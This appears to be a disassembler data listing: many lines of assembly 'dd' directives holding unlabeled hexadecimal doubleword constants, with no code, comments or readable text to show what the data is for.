		dd 3368A41Ah, 19EAE26Ah, 25E91D42h, 4036665Ah, 85400391h
		dd 526800BAh, 0F1B93E88h, 2C7F55CEh, 5ABE5F27h,	35C70085h
		dd 0F1817A13h, 69047B1Fh, 76B4E93Dh, 0F66850AFh, 0EDA04118h
		dd 262C23CDh, 321FDF2Ch, 2A2D1E60h, 68430275h, 275923A4h
		dd 0E849F5BDh, 52ED5B54h, 0D5DAC57Bh, 3EBAA6A9h, 0E62D2568h
		dd 0D163200Fh, 3F90C29Ah, 773E6D01h, 0D8F74043h, 35D00580h
		dd 0BC88C195h, 0E9127BB0h, 8DB2B5E4h, 8048129Fh, 26F2B959h
		dd 0F870DC30h, 1B785F28h, 4D1F715h, 79DE140Bh, 4489DDA4h
		dd 7E1CB4E9h, 17108ECEh, 0E2077E84h, 23D3448Ah,	0B1B04DB2h
		dd 0CE435B42h, 38515982h, 29DD7813h, 0C51478DEh, 3382F1F6h
		dd 9543AA75h, 914F3758h, 40D29A22h, 0D6090D61h,	9D08C508h
		dd 0C28007D5h, 56CA3033h, 4095D2F6h, 80E76974h,	2A1E272Dh
		dd 0C28C76B8h, 0AC69DE5h, 0B906320Fh, 27ED16E9h, 0F3117261h
		dd 0B2553DABh, 0BB5155B0h, 308C448h, 0AE4B3BEEh, 0D7280C6Dh
		dd 33C21786h, 50B28FECh, 8C2C514Ah, 8D7A17EEh, 5A7DAE43h
		dd 4E65D1D9h, 0AA92D563h, 9DDBA136h, 0A9E94D10h, 59EA0A92h
		dd 78913B4Fh, 0BF006FC9h, 46712647h, 0C1BC81BDh, 0E3105EBh
		dd 585245D0h, 1E1803DFh, 37C27F42h, 4B557D3Ch, 1484B100h
		dd 0B6525D6Ah, 245A1B0Dh, 0BEFC80A3h, 4E90FB1Eh, 0F197C14Bh
		dd 0B6DC2BD4h, 8D4A9C56h, 0E897D0E0h, 224AE1D2h, 4E17F1A0h
		dd 7EBFDDDFh, 7F103C52h, 35EF93DEh, 5D0BBBBAh, 0C9938418h
		dd 0E6BD5500h, 0B84CF19Ch, 0DE5D2572h, 27625A3h, 0D4AFC69Dh
		dd 0C3645A69h, 246E8F27h, 0E9461C93h, 293B9DAFh, 2422A5EEh
		dd 49AFED3Ch, 6D485B63h, 5588664Bh, 0FAE4E557h,	0D76DAB96h
		dd 55896897h, 40F4796Ch, 0D0E44748h, 97BF8598h,	7584CABAh
		dd 813A6188h, 3637C168h, 0BDE11656h, 98588E8Ch,	7A5D31C5h
		dd 3ECB019Fh, 7BE01634h, 10B2DF56h, 0EFA07FC0h,	88BB4C59h
		dd 49194827h, 0C380803Fh, 0B5515304h, 78C1FE14h, 0EB05A644h
		dd 4BDAECC6h, 0A5AAF93Eh, 9D1FD2AEh, 0F15FBCCAh, 9F7B09C0h
		dd 59582614h, 0E9072DEAh, 206F6902h, 4D411A26h,	93136B5Fh
		dd 48591CFEh, 442D7F43h, 28311A1Ch, 0F14C4858h,	804312B5h
		dd 4C0377D4h, 938B823h,	7F823755h, 8A08DFEh, 0B141CD0h
		dd 58592933h, 58A3836Ch, 1481051Ch, 629EB3Eh, 96C9ED96h
		dd 130B46Ah, 391B739Fh,	0F902C296h, 96431061h, 0EAC05900h
		dd 29E28007h, 0B03A1895h, 7B009773h, 92E9CB0Ch,	5B328595h
		dd 0E9B278EBh, 0B403BE7h, 0F97FF0F5h, 799826h, 0ECFDA669h
		dd 6C6A4005h, 286F235Ch, 3D91072Dh, 17BE008h, 161201B9h
		dd 0A23CE842h, 10B014D0h, 357B1CBCh, 9C785EDh, 0D29A39D7h
		dd 0FB884ADEh, 0F4C38138h, 0EC741DBEh, 0E9BD952Dh, 0BBE151F8h
		dd 0AC70946Eh, 37E0378Eh, 7F59EB02h, 50454768h,	0D1B15107h
		dd 822ED9F6h, 0D76C21E9h, 123FC447h, 2CFBA3C1h,	479D5B90h
		dd 0A3E98464h, 4231BE38h, 942660C1h, 5685505h, 86804569h
		dd 9773C8B5h, 0B83C6095h, 0E90BC493h, 2429E8CDh, 4F285430h
		dd 167DE2EFh, 0E3025EBCh, 0E9F616ECh, 22C4FDECh, 0D24A6841h
		dd 0C27E77B3h, 2CD48D0Ah, 20CC5749h, 65B9E924h,	0AB0152B8h
		dd 1389F800h, 14977B06h, 9962C2E8h, 2803E08h, 0DC025222h
		dd 9C9A0250h, 3169702h,	40105C1Ah, 0DD106A81h, 230C1011h
		dd 187B1C10h, 0E928C465h, 0C708C6E7h, 8031188Dh, 2D17086Fh
		dd 184C7190h, 7F28A6D0h, 0A3448094h, 0FAFB10C6h, 72182008h
		dd 31682E20h, 752807D0h, 0D808B605h, 50F63308h,	8110E120h
		dd 0D619D561h, 119C94Eh, 0C201F751h, 25089554h,	0B56D1884h
		dd 81245D10h, 44E19C48h, 1B882060h, 20C56420h, 0DF20D15Eh
		dd 57B83182h, 884E7A10h, 8D24008h, 83088226h, 7EE50CD9h
		dd 0F540E630h, 1088EFB4h, 0C508FF31h, 0C1680896h, 8CB3E0Ch
		dd 186662BCh, 0A2034C3Ch, 0A610100Eh, 0EA4E1991h, 77FF5108h
		dd 0BF94A818h, 0D718C49Fh, 20F20409h, 822B406h,	20552731h
		dd 888608Eh, 40CA29Fh, 40D42032h, 8CFD4885h, 85B8210h
		dd 0F48A54D2h, 2B10C438h
		dd 0DBC2065Ah, 91373208h, 0B4A39018h, 819D7B2h,	96182FDCh
		dd 0AA46DC51h, 0A4A3A802h, 8190147h, 6C18AC4Ch,	842BB451h
		dd 7D92088Ch, 0B140BA20h, 104A6315h, 4132353Bh,	0A21018B8h
		dd 2416AE4h, 4B038A39h,	0A12010E4h, 949A186Eh, 0DC950110h
		dd 20A4EA08h, 0CB6233CAh, 0E4FF6E1h, 1D08D888h,	0F3DA0848h
		dd 8F16108h, 620C7A8Fh,	0CA6710A5h, 8C90F751h, 73207FC7h
		dd 0B9088666h, 8E3B32B1h, 3C496808h, 0C2E54701h, 0ACA6EEBEh
		dd 7B62F1F0h, 4F88408h,	41A8916Eh, 5310886Ah, 0A8210885h
		dd 8274708h, 7E0ABB5Eh,	7892B87Dh, 85B9848h, 908E059h
		dd 9B030C84h, 0DD549010h, 198199F4h, 7EBEA453h,	4D34069h
		dd 3230C94Dh, 480D0871h, 0C97FE1FCh, 24221B10h,	0A504182Dh
		dd 0BD62D491h, 19CF001h, 108DF476h, 1179E3EEh, 2CAB094h
		dd 0E620488Ch, 81DB839Ah, 75250810h, 8CE41524h,	0D4088037h
		dd 40182162h, 0E1AB02F7h, 34C6002h, 82A30A0h, 0F4639832h
		dd 98D5D79h, 0E8FC9C29h, 8E77A492h, 1E4B0CE6h, 0B902BF8Bh
		dd 0E3A04818h, 2752C47h, 8963EB78h, 7AA7B90Eh, 105003Dh
		dd 49408F44h, 750BC90Bh, 0E748BF7h, 3DE814Bh, 0DC29B9F0h
		dd 3C0331Eh, 304FB10Fh,	52AC2C0Fh, 0DAF665B2h, 992D6AC3h
		dd 9DE701EAh, 1E9688EDh, 4B52270Eh, 0A34B0E0Bh,	5D6005Ch
		dd 4112FE26h, 0E153C31h, 0C01AB45Ah, 0A39015F1h, 72E92F36h
		dd 0ED813976h, 45830FA2h, 0A02EBC2Fh, 7526E9EFh, 6E30B72Fh
		dd 70B5F089h, 68EA08ABh, 990308C2h, 33A971Ah, 0DF69230Ch
		dd 28E6016Ah, 0C410883h, 2FAD3014h, 64033817h, 30BBB301h
		dd 0C53EA4BFh, 0E9D4D0CFh, 82CE0E03h, 0D9D1C449h, 13183EE6h
		dd 0EF8012CFh, 0D08410C9h, 15799FFFh, 790F76Bh,	54C03611h
		dd 2777F681h, 0A71C5165h, 7EE7DBE8h, 0F3CE4F1Eh, 0E6FE253Bh
		dd 5BBD0456h, 0F8449356h, 0C381628Fh, 0EAB9E46Bh, 0DFF7FD50h
		dd 0D55F090Eh, 77F8BECh, 4A269D38h, 0C6138FEh, 0CB1C4980h
		dd 16552DA8h, 195A9D17h, 90BE5621h, 5D5E1274h, 2A3B29EBh
		dd 4B9879A2h, 25BFBCE9h, 46341449h, 73291083h, 0BAF84A86h
		dd 0E4680E70h, 0DA4CB70Dh, 6968C5BFh, 8B629D7Eh, 75ED550Ch
		dd 1B962688h, 83CF5858h, 16E165F4h, 0C66381B1h,	77E57E8Eh
		dd 0EE8D3220h, 0C4A94E2Ah, 0F77EB073h, 81C1D83Ah, 7AB3502h
		dd 0B47B15CEh, 82FD4FE6h, 24685C48h, 567AF77h, 8457416Dh
		dd 2D0F40EBh, 1B6C57FDh, 2FC773F4h, 9C730134h, 7F09A73Ah
		dd 25614FBCh, 295E6849h, 9AF25DAFh, 0A235A6C0h,	155A65h
		dd 0EE2F9105h, 4CC1E928h, 0CA4122CEh, 5C83D776h, 0FAD4C580h
		dd 68154853h, 0C231473h, 0AEB6AA52h, 7E26106Bh,	833D47B3h
		dd 0C057143h, 3CE51EF4h, 1287A5E0h, 0AD1F7CEh, 851B14B2h
		dd 0AE1CAB68h, 18A28767h, 82F5794Eh, 2E805779h,	75774E40h
		dd 0F71B9009h, 2B2D39D6h, 4F77DE7h, 62684096h, 0D864AC14h
		dd 49ECE906h, 0E8179EA3h, 0E5C0F408h, 55167A69h, 6D51C846h
		dd 3C5BC1C6h, 3EBC1E51h, 5200E829h, 3C28AE68h, 0A4F0B578h
		dd 355060Eh, 7CC2C035h,	0D6702F07h, 6358AA18h, 4872A218h
		dd 0D101281Ch, 5953515Ah, 0F6B82F5Bh, 0BA010869h, 80860BE9h
		dd 0F5814D92h, 4D922782h, 135B6952h, 0B031BCB0h, 0B54430E9h
		dd 0E2B91B48h, 64FA0CD2h, 7A53AE0Eh, 7C85BDE9h,	858FAED4h
		dd 27AEA35Ah, 2FAF4CF9h, 87FC29C7h, 122B2E51h, 30452D08h
		dd 0F01802Fh, 0DBF72784h, 49D6C5E9h, 535D040Ah,	2C7A8B7Bh
		dd 99A097CDh, 60E7BADAh, 1B6CC224h, 0A7348C1Fh,	9E64D0F9h
		dd 7387ED8Bh, 0DCB363D3h, 99164EE7h, 0F7F3D8D9h, 9C28606Dh
		dd 2A1E812Eh, 27FC3201h, 55D3A55Eh, 0CA4F1DF8h,	48BF12C4h
		dd 54DD134Bh, 0F6156222h, 0A424E77Fh, 0FF290CF2h, 0E0953002h
		dd 0B5FCB8E7h, 80A4E1D3h, 900D1238h, 55C34D0Bh,	0DC971CBCh
		dd 0E16A62B7h, 5080195Ch, 68350CB8h, 44F1FB1Eh,	0BC34B392h
		dd 0C55ECF1Dh, 9520E3DAh, 2C4EF1C3h, 18FD47E4h,	6C68BB3Ah
		dd 81171C49h, 35B4F90h,	553D9342h, 2D25C566h, 4185E533h
		dd 0A338B1E9h, 0DE2DCF92h, 4798BFB6h, 0B6BA1E4Ah, 1A5B5512h
		dd 2B9342Ch, 4BE4175Dh,	0B255CA31h, 0E984C016h,	18E5D5Eh
		dd 0BEE21F9Bh, 0F7B9BD68h, 9CA5A14h, 82827583h,	84852C4Fh
		dd 0E51307A7h, 0A7246BD7h, 0E27612EAh, 8791D65Ch, 0C86E8D97h
		dd 64E689Ch, 69E12AE4h,	135FED5Dh, 2356DFB3h, 122CB092h
		dd 4971776h, 0AA749DF5h, 65DDADE3h, 0CCAEB47Dh,	0FAFFAB54h
		dd 0A906476Eh, 0E9DED0DAh, 3C1A5B30h, 16C8FF48h, 89586400h
		dd 0E9C1017Ah, 0E565F834h, 0EBCFBBFCh, 482936ABh, 9F2D147Fh
		dd 0DA4E71E2h, 299BCD2Eh, 0FE530142h, 0D8892F90h, 30C727DDh
		dd 8883F514h, 8316ED8Eh, 0BF3AB7FCh, 7F439F75h,	0E259131Fh
		dd 30B152A7h, 5A48E509h, 3E1EEF05h, 4ACD7042h, 0E038166Dh
		dd 4537680Bh, 0FA5E93B0h, 0BB0F9BCh, 5E2866B5h,	0B16E7EBh
		dd 0EC0102A5h, 4F38F67Ah, 940DB352h, 0E6C512F1h, 2DA1F7E4h
		dd 86584961h, 0E9092043h, 7E142E7Fh, 0ACC38012h, 0D0590A97h
		dd 0CE993450h, 2FF3BB1Eh, 99F15D25h, 5404D5E5h,	1CFC5BE3h
		dd 22207ECDh, 44039D88h, 0A72CE828h, 59665AA0h,	80B63852h
		dd 0D049C694h, 0DDE9AC06h, 0B73F30F7h, 25EF00A8h, 685BFE08h
		dd 0C263E7FBh, 30F9B403h, 47E958E6h, 0B5BD4C4Dh, 0EE289212h
		dd 6805BBB4h, 465F9033h, 5A71DE54h, 0F1E1684Eh,	0D25AE92Bh
		dd 0E0B382BBh, 7B5F2D49h, 0B24F10A2h, 12E0C674h, 0E1C12668h
		dd 50F3080Ah, 5C333828h, 0E1540CAEh, 660035D2h,	529AF650h
		dd 5E721D59h, 0B3077BF6h, 82D93058h, 2654205Bh,	0E8A89D42h
		dd 276989F9h, 0AD78648Eh, 8C600782h, 13F45D41h,	56F4409Dh
		dd 0EC4D4B2Fh, 0CB061BECh, 0EAC74A8Dh, 0DC21E06h, 453020CBh
		dd 5C02AD90h, 21392E7Ch, 0B2E6FFD9h, 9E93E91Ah,	0A9EC5730h
		dd 4EA1A220h, 0D4B18042h, 5051C44h, 434C5D90h, 9AD84FFh
		dd 0DA4C5A07h, 0BC7EBF21h, 0B8590F13h, 0FC95C44Ah, 17F4B3ABh
		dd 0DDC1F8ABh, 0A3E301EEh, 18BC491Dh, 63C9688Eh, 3289FBF1h
		dd 0BFFC44B9h, 648F05E0h, 31016A0Eh, 24E94ECDh,	0F4AB7C03h
		dd 4A16EF13h, 41FA712Bh, 9086E45h, 4614964h, 310C02BDh
		dd 54FC5BDFh, 48A0A6C4h, 7D2277B1h, 28ACCBB0h, 262FDFF0h
		dd 52EDB58h, 5513B368h,	464AC75Dh, 0FFD4E9B1h, 32509089h
		dd 6BE513F3h, 58C649F8h, 35056A01h, 183B27F8h, 0B86800FFh
		dd 2AAF4032h, 4FC1315Eh, 3A84842Eh, 0B91DE468h,	9EF785CCh
		dd 2408B988h, 1E149F28h, 85139EBh, 0C3E9F186h, 0DFFC2DD0h
		dd 58E5751Eh, 848025D3h, 955AD328h, 0B050A660h,	260C7C60h
		dd 0A8FF76E9h, 263BB769h, 1F14B450h, 0CC8379C4h, 66DCF6A1h
		dd 4599275h, 10F99512h,	0FE4A37B9h, 60B6D328h, 0A6B90A4Ah
		dd 67B0FD1Dh, 1BD0D152h, 262BB19Fh, 7415B62h, 0E2E728C0h
		dd 0A05FB36Ch, 7E46E2E1h, 22B80441h, 84BE81B9h,	0ED7980AEh
		dd 0A3306CABh, 125C0C2Ah, 0EF144EF2h, 4111175Bh, 920140Ch
		dd 0ACC29C29h, 3C970575h, 0DDCDAF01h, 7057CD48h, 28F3804Dh
		dd 0D1503639h, 371DDCC7h, 78099327h, 3CEE5D72h,	0A74EB14Ch
		dd 41CE0C7Bh, 0BA586892h, 5B51755Bh, 66DFAD59h,	0E3E6500Ch
		dd 0B76B98D0h, 30003D1h, 3D7A2C05h, 8179A3h, 2B5C7101h
		dd 4565BE56h, 63BF8677h
		dd 721E0750h, 6126CA4Bh, 0A65ABCE9h, 1C34FBAEh,	91C081Ah
		dd 3A6D0614h, 97C101E1h, 5D2C6222h, 2807F701h, 6C9B28CBh
		dd 1F42069Fh, 3AE195E2h, 47626053h, 0B12FB841h,	30E22ACAh
		dd 7461A04Fh, 52C15F1Fh, 58BCFB12h, 0C44CB2A4h,	98FF779Ch
		dd 0AFE9DC84h, 34466612h, 0EA0ADAE6h, 0D0EF8884h, 46380A47h
		dd 0A20C2160h, 0B56A451Ah, 68A09B6Bh, 44951219h, 2E4E24FCh
		dd 40ED9E01h, 57685052h, 5D48286Eh, 3D0A109Ch, 113A0C62h
		dd 0E5BB5B04h, 0A49C30AAh, 0B50580h, 2D541C47h,	39333BE3h
		dd 0E09D0890h, 2668ACE6h, 0C2AA1EA4h, 32FDF99Ah, 0A6627D1Ch
		dd 0C6259CB8h, 10E5D983h, 7C468FDCh, 5C542857h,	0BFB67B4Dh
		dd 76A7D3F1h, 0F5D84291h, 54BFC320h, 0AA5D517Ah, 0BE52B6Bh
		dd 31300E68h, 0CB0802D1h, 80415B80h, 35BEFC1h, 0E68151F0h
		dd 54701AC5h, 8D41233h,	5874D403h, 0AB0C0922h, 0CE006CF4h
		dd 73B3E9F8h, 71EC7C9Ah, 7336E697h, 726925E3h, 0FCA7D5F1h
		dd 3D6259ECh, 74C515A0h, 0BB4A84B1h, 0D9006214h, 507EFE40h
		dd 0C01BFB8h, 79354D8Dh, 0E9C8FB61h, 0DDAB6985h, 58EFC823h
		dd 34F91130h, 90941284h, 158E2077h, 75DF2126h, 98AB5392h
		dd 0A820E930h, 68550C3Dh, 9E173366h, 0B07A8441h, 0C7A4990h
		dd 0D4A42A5Eh, 0B12460A4h, 8F5276EAh, 2F11048h,	50B53149h
		dd 583CD409h, 0D89DD2F7h, 808D76DCh, 8105018Fh,	8322B031h
		dd 2945D504h, 88525001h, 5796E4FEh, 0BC08519Fh,	0EF81F160h
		dd 0AB0B378Dh, 0D1F9293Eh, 0BDB020FFh, 457FFE42h, 165F49B6h
		dd 4DC8BFACh, 98BDF48Eh, 5E6CEC3h, 6847126Fh, 681EB5B8h
		dd 0B40A582h, 71C05D56h, 0E874B8h, 642D7FB6h, 294ED511h
		dd 705F028h, 354AE380h,	0B940F79Eh, 0B8B62515h,	0C7A45C60h
		dd 0C750899Dh, 0C62A1D6h, 8338771Dh, 0AFB09D61h, 8A29174Fh
		dd 0CD5E436Bh, 5DE1DF23h, 3D6DD881h, 0C54CF827h, 30E02844h
		dd 809A0F35h, 281C62F2h, 0F8D45AD0h, 0EF863CE4h, 4546C167h
		dd 0C3300FA5h, 5916C4CCh, 95FB815Ah, 0A15F2C14h, 6DAD123Ah
		dd 32A76602h, 56234F2h,	113C47Ah, 7E59EF68h, 0E9C2F7F2h
		dd 0CCFF9364h, 5A9E4062h, 2E744BDh, 0C67C78F5h,	0B2572108h
		dd 54925A46h, 3168A49Bh, 5C5B18F5h, 0C40468F8h,	0EE177480h
		dd 0F37F6E44h, 68092815h, 0E7555FB4h, 6166ADFFh, 0A1685309h
		dd 2359B00Ch, 15CA275Eh, 13F442D2h, 7A1E5327h, 7B790212h
		dd 4C0172BAh, 25E1A7Dh,	8368510Ch, 3A29591Ah, 0A2CD0826h
		dd 2375297Eh, 0F9C80C67h, 0E4A05FBEh, 55996838h, 80723A4h
		dd 0D77EEA6Ah, 819749C3h, 9F541A3Bh, 2A0F9FEEh,	0ECEADD1Ch
		dd 3168F264h, 99FA42D4h, 6146A4DBh, 0A84A7C11h,	1D1A15A4h
		dd 68B880F7h, 2813A0Bh,	5D4987C2h, 0EB7D4A1Ah, 102A88C1h
		dd 0E4E9196Eh, 41B37621h, 4FB2BD0h, 6A178D01h, 0E2633BD1h
		dd 0D70E84h, 596ADEBFh,	0C781001Dh, 0E474FB73h,	614930E9h
		dd 6971140Eh, 7C0804Ch,	64216E84h, 122FF4D3h, 0DAEBC4C4h
		dd 40F49A6h, 181E106Fh,	256BAFC3h, 5D6310Dh, 0F9427C82h
		dd 6EFB5576h, 514FA24h,	165E2F0Fh, 0B93352D3h, 81F9F44Eh
		dd 0CBDFF100h, 3BE9FBFEh, 5398B791h, 1E7B4F02h,	8292369Eh
		dd 0C9EECC93h, 0B0FFA527h, 255FAFC6h, 7EDC2F18h, 1CD008A0h
		dd 84AC4B14h, 6805C85Bh, 791FD82Dh, 17D04F7Fh, 86ECF107h
		dd 0BF4E3D3h, 21B06852h, 25FAE933h, 806E0E35h, 46A7CF40h
		dd 0C70C430h, 98F272FCh, 42C82822h, 0DBF625C2h,	0F41E16F6h
		dd 0D114A7FEh, 0E10EAD19h, 0CB178B0Fh, 193264DFh, 4D85A3AAh
		dd 0DCD8CA64h, 0B0E98B38h, 7F7D01D6h, 0C9EF160Ch, 0D2333CDDh
		dd 0E95FDF46h, 0A02E89E7h, 66CA8180h, 2AB8256Dh, 0DD034850h
		dd 87E9B1CCh, 0ED23057Eh, 87AC08B0h, 0D106A402h, 3D1BCBC8h
		dd 3868908h, 0C9D0F605h, 0F06A5351h, 5B26FDF4h,	21E188Ah
		dd 7595EA6Dh, 4C056A06h, 0D0345391h, 69711BF1h,	8D4ED74Bh
		dd 5B0020AEh, 9A125439h, 0FA8DD01h, 4508908h, 0FA126B9Eh
		dd 3018669Ah, 8EC14F20h, 4B1287F8h, 4DC6D1F7h, 0DFCA2046h
		dd 0FAC4C49Dh, 14426568h, 84A6855Ch, 0DCA0E1C9h, 0BF0757F3h
		dd 674E3CD9h, 50C44FD3h, 41A1D31Bh, 85A17B22h, 522DEE0Bh
		dd 113A6232h, 7F69E07Eh, 0D1095E2Bh, 8911222h, 7B2D7845h
		dd 48840DFAh, 40612522h, 0FA9A3F1Eh, 0F231A201h, 124FEE9h
		dd 0DEE8BC2Bh, 5DCF89C9h, 99688090h, 0E7996C76h, 8A8C0797h
		dd 0CC432FC6h, 9F10FD56h, 5E204D50h, 7B8FF76Eh,	0D4306A2Fh
		dd 0A0B154EAh, 78C55749h, 8A497549h, 57DA74C3h,	7B695677h
		dd 12E8003Bh, 243C5E1Fh, 207FFA01h, 5A8C8008h, 0B710F07Bh
		dd 70516741h, 441AF0Ah,	137ABFD5h, 4E2BABF1h, 1CF8B5Eh
		dd 1F0D5E96h, 4578DD87h, 0E9450A74h, 4014D1F3h,	78067BEAh
		dd 5D600175h, 375057B4h, 60DAF34Bh, 3F631904h, 0C12F0DD2h
		dd 4993A4D9h, 0E3040556h, 0B80080B4h, 4CC54EF8h, 588D9295h
		dd 0DA681351h, 0B7A8CC76h, 0FE88B207h, 0B373665Bh, 0B7D883A2h
		dd 0A560483h, 0ABB05014h, 0EE7935E2h, 0A4105A84h, 0D8D85044h
		dd 74715602h, 0DC17A9E9h, 2240589Eh, 0F909292h,	0AE5D083Ah
		dd 34C13474h, 0B689D40Bh, 4C57CA3Bh, 84234AB9h,	21C5AF71h
		dd 5902DBABh, 0B0221310h, 68F1A542h, 4AD752D6h,	3A7DAB0Ch
		dd 0E9EC5FCEh, 80CCE927h, 0F7EF31BCh, 0D982B5D5h, 0CA488219h
		dd 4CBD1E5Dh, 55A7F410h, 652D6339h, 5FA2B78Bh, 0DB44C721h
		dd 8FE69935h, 0C11CA9E8h, 6605EF4Ah, 0F0F705F1h, 8F8DBF98h
		dd 0A150283Fh, 0BE03E292h, 44B2BC5h, 0F84ADA4Eh, 9C97A4C3h
		dd 866861C6h, 17ED2341h, 331264E9h, 5FD81DC8h, 198F4080h
		dd 1796D18h, 8DF7F4F9h,	3BC70082h, 0B00FC72Dh, 0CC749F79h
		dd 0BACFE9F0h, 0BC5E5B74h, 12EBA4AEh, 0FFE30EF3h, 477E5A2Bh
		dd 0F0303F07h, 0B2CE1D6Fh, 0C3D0EF90h, 158C708h, 0DAF64312h
		dd 79955FE9h, 41C93E79h, 48E1F624h, 0AD05FA02h,	0C379464Ah
		dd 2026AFA8h, 0C90D38FEh, 0F8C14E88h, 4F288120h, 9A28EAF0h
		dd 50D8FA75h, 0BC08C85Bh, 1AF30152h, 619ADA85h,	48FDFA53h
		dd 0D2234680h, 4FE4FD22h, 0E9C2D7F9h, 88030777h, 0B984DFEFh
		dd 0B7E3D3B4h, 0CD2AB303h, 0C39D227Fh, 58AECA1Fh, 805B0E8Ah
		dd 0EC6318C4h, 59BC017h, 34BC44F9h, 54388804h, 0FCBDCA19h
		dd 72A4CB01h, 0DF433662h, 2AB165D3h, 0F2676063h, 5D5A2618h
		dd 2702CD18h, 0EB723F6Fh, 6DE90880h, 5A260BB6h,	0D5FF6859h
		dd 0A7D1EF44h, 5B31FC13h, 18A9D3E4h, 6208052Dh,	0E34C78F9h
		dd 27A42DDCh, 7DE1CAB7h, 803B628Ch, 0F8AC557Bh,	0BF017720h
		dd 2A5C5481h, 1DE9C8F2h, 3591FD4Bh, 462FC9A6h, 3FFC52Eh
		dd 84AA7497h, 35FD19C7h, 14C69DD8h, 0E6465558h,	0B850D60Bh
		dd 1033A480h, 3F70EAE9h, 0DFB1E0A6h, 9C6CF08h, 0A730DFF6h
		dd 0C1FFD8B6h, 45017503h, 68CEEA52h, 20C50849h,	56F24B45h
		dd 98D124C3h, 88E38ECFh, 58C245D8h, 29D104BAh, 1058F393h
		dd 0C14C4DABh, 4FE7B510h, 5ED1ACA0h, 2FEFF4EFh,	0FE0A490Eh
		dd 38BA5609h, 145EE2Eh,	4C0D0940h, 791458D4h, 73725407h
		dd 0C9CF6030h, 1B0F6B40h, 9BF9E94Fh, 993B031h, 604BA201h
		dd 9963A649h, 0B2DDA558h, 623F4840h, 0A14FB00Ah, 5FE4DD8h
		dd 0BECEBE53h, 0E604EE4Ah, 95CD5209h, 0BBEF930h, 3345B29h
		dd 6397A075h, 0A0623D45h
		dd 302090F0h, 1A0C2C82h, 0A44B3FF3h, 0F91220A9h, 1CE2201Bh
		dd 0D7B0AA8h, 162B8E30h, 0B42C9BFh, 0F88979EDh,	3528B3E6h
		dd 0C1E2DBECh, 2951FB0h, 9713F61h, 3C64207Ch, 7A60E971h
		dd 0F3EF69C4h, 0EB8810F3h, 1BC65D2Eh, 0F95C8020h, 0C28A4AE8h
		dd 265CE90Dh, 74614728h, 2F2AC7Ah, 3E4D49BEh, 1573825Dh
		dd 343AFF45h, 13144C0h,	39B9095h, 57C2E143h, 8D908C14h
		dd 62B27AD3h, 0AABCAEDBh, 9E48B9E7h, 143268B0h,	0E54F8E27h
		dd 3C092FAAh, 93028EDEh, 817C70A1h, 0EE4C71ECh,	29AA917Eh
		dd 86AC2FD8h, 0D1B4ADC4h, 3808A840h, 5387C080h,	0A82113FCh
		dd 823A2082h, 4B3D06F5h, 287A09C4h, 0DBAB1D49h,	0A582BADFh
		dd 78F4D6C4h, 6E7C0BEFh, 2E4AECBFh, 0C28BD957h,	947FE7CCh
		dd 0CBC33A6h, 9BB9DE0Dh, 42A73FF4h, 13A6708h, 3409D221h
		dd 899054B6h, 30D71E53h, 0A2C52959h, 4B2053CCh,	514432A0h
		dd 0E92C1506h, 318E1F7Fh, 95F04BC6h, 28341387h,	1FA1D57h
		dd 0E84759BDh, 897627CCh, 72ED57FAh, 62CE906h, 3C07EC5Fh
		dd 58BE123Fh, 28012E2Dh, 4D2A6068h, 779DE0F5h, 0AA748628h
		dd 5330B04Bh, 16E7EDCh,	0E7814738h, 30C907D8h, 0EA01EF69h
		dd 87504B4Ch, 0D6C94EF7h, 5BA30AA8h, 66130B99h,	579B07F5h
		dd 948BF51h, 247A61E6h,	0BB070B2Ch, 0CBD734AEh,	0E31C57D4h
		dd 71631005h, 624DB580h, 4B0D2492h, 0CF762D6Dh,	8C3D3512h
		dd 7B4CD92Fh, 35E9B431h, 7DA123Eh, 0E0B91EEh, 0AA8A1713h
		dd 2DE9F938h, 1371F7C3h, 0BE5E688h, 1784ECD0h, 10820D11h
		dd 0CEBFA5FCh, 0CB3D031Eh, 0CB528374h, 4C7DC60Bh, 2006201Eh
		dd 2C475015h, 1740FE01h, 0EF6B531Ah, 0B341F98Dh, 5300284Ch
		dd 0D095D2B7h, 0E8807352h, 5BF90530h, 0BBF65166h, 0A159910Fh
		dd 0CE0873E9h, 0BC1DC1D0h, 7FBA82F9h, 0A97078AFh, 0B402165Ah
		dd 61D1865Bh, 0F9E694B4h, 8183CF3h, 60C53DB5h, 648D2B16h
		dd 314821AFh, 8947F453h, 0AAE9EB09h, 0C88027C5h, 7E9D3872h
		dd 0B85BF14h, 0C2639E24h, 324C7267h, 0E12CB90Ch, 0FFA5E421h
		dd 524BB000h, 0CFC68828h, 0E5031625h, 0B024ADE2h, 7E178240h
		dd 6498B0DAh, 34EDBD4Fh, 2786E292h, 4ADA51h, 0A841A9Eh
		dd 598EF281h, 0E96C7704h, 539565AFh, 1C405047h,	0CCFE8963h
		dd 62D881BBh, 46088F13h, 0A01FB32Fh, 0E90E2D58h, 3E8C626Ch
		dd 2C61CBFEh, 35046528h, 0A5A26FCAh, 1C08E9C9h,	1D3A495h
		dd 0BE2C21CBh, 7B043F6Eh, 29052E0Dh, 0D1E584F5h, 6F8268ABh
		dd 6493D5B6h, 0A0A98417h, 0C23A818Ah, 483C98CBh, 45525F4h
		dd 5EE961CEh, 0D7310751h, 0C95FA27h, 0C702D8B9h, 2C623396h
		dd 514F7AE0h, 7A2BB901h, 0E8E907F0h, 135F1128h,	0C3CAEF4Fh
		dd 0E761FB92h, 6800EA6Bh, 0CE9F3E78h, 59BB10Ch,	0B1EFE95Bh
		dd 2F91287Eh, 0BE905CDAh, 1F76EB82h, 0F1EA515Dh, 942DE17Eh
		dd 0E0D14A18h, 0AD1BCE00h, 0D0DCD0F5h, 956EF34Ch, 88278FAh
		dd 0FF69047Ch, 0E91A0F44h, 0D7A97CD3h, 0E3BF9496h, 0EC965AA7h
		dd 8B82B525h, 0CAE5D55Ch, 0FBBEBB09h, 17689777h, 0D029EC95h
		dd 26014A0Dh, 47DA7F8Eh, 3E580C80h, 0EB017B67h,	8816D90h
		dd 0F8D47A29h, 4BE41716h, 82AB850h, 10A75E9h, 3B49E500h
		dd 4B6836A0h, 0EDF37Fh,	0AC08D2B8h, 50C14056h, 40A9FCE0h
		dd 0B6005275h, 18EE8034h, 3A5AF028h, 0F0CF112Ch, 2760CEF8h
		dd 0F4B3A61Ch, 5AF30330h, 6F6D6866h, 0B0125FA6h, 160280A1h
		dd 0F4A50BE9h, 2D458233h, 2F77CF8h, 576AF0B1h, 85FFDA27h
		dd 0F875E5DEh, 0BE4E4230h, 0F950EAD3h, 0E27E6D02h, 0C77A7C0Bh
		dd 807F6058h, 620970CAh, 12839065h, 1C212C3Dh, 22295A46h
